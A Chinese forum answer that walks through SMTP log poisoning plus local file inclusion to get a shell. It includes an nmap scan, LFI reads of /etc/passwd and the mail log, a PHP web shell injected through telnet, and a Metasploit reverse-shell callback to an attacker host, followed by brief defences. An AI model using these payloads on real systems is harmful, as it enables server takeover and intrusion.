利用SMTP日志+LFI本地文件包含进行getshell

利用SMTP日志+LFI本地文件包含进行getshell
最新回答
梦醒

2026-10-24 13:26:50

利用SMTP日志结合LFI(本地文件包含)漏洞实现getshell的攻击流程如下:

核心原理

通过SMTP服务将恶意PHP代码注入日志文件(如mail.log),再利用LFI漏洞包含该日志文件,最终通过参数传递执行系统命令或反弹Shell。

攻击步骤
  1. 确认SMTP服务开放使用nmap扫描目标端口,确认25端口(SMTP)开放:

    nmap -p25 192.168.1.107
  2. 验证LFI漏洞通过URL参数包含本地文件(如/etc/passwd),确认目标存在LFI漏洞:

    http://192.168.1.107/lfi.php?file=/etc/passwd

  3. 检查日志文件权限尝试访问mail.log文件,确认当前用户有读写权限:

    http://192.168.1.107/lfi.php?file=/var/log/mail.log

  4. 注入恶意代码到SMTP日志

    使用telnet连接SMTP服务:

    telnet 192.168.1.107 25

    发送包含恶意PHP代码的邮件(通过RCPT TO字段注入):

    MAIL FROM:<rrajchandel@gmail.com>RCPT TO:<?php system($_GET['c']); ?>

    忽略501 5.1.3错误(语法无关紧要,日志仍会记录)。

  5. 触发恶意代码执行通过LFI包含mail.log,并传递参数执行命令(如ifconfig):

    http://192.168.1.107/lfi.php?file=/var/log/mail.log&c=ifconfig

  6. 反弹Shell(可选)使用Metasploit生成反向Shell代码:

    启动web_delivery模块:

    use exploit/multi/script/web_deliveryset target 1set payload php/meterpreter/reverse_tcpset lhost 192.168.1.109set srvport 8888exploit

    将生成的恶意代码通过LFI执行:

    http://192.168.1.107/lfi.php?file=/var/log/mail.log&c=
    [Metasploit生成的代码]

    获得Meterpreter会话:

    sessions 1meterpreter> sysinfo
关键点
  • 日志投毒:通过SMTP服务将恶意代码写入日志文件,利用LFI动态包含。
  • 权限要求:需对日志文件(如/var/log/mail.log)有读写权限。
  • 命令执行:通过URL参数(如c=ifconfig)传递系统命令。
  • 反弹Shell:结合Metasploit生成Payload,实现持久化控制。
防御措施
  1. 修复LFI漏洞:禁止直接包含用户输入的文件路径,使用白名单校验。
  2. 限制日志访问权限:确保日志文件仅允许特定用户(如root或syslog)访问。
  3. 输入过滤:对SMTP服务的RCPT TO等字段进行严格校验,防止代码注入。
  4. 日志隔离:将日志文件存储在非Web可访问目录(如/var/log/)。

此攻击链结合了服务配置错误(SMTP日志可写)和代码漏洞(LFI),需综合防护方可有效阻断。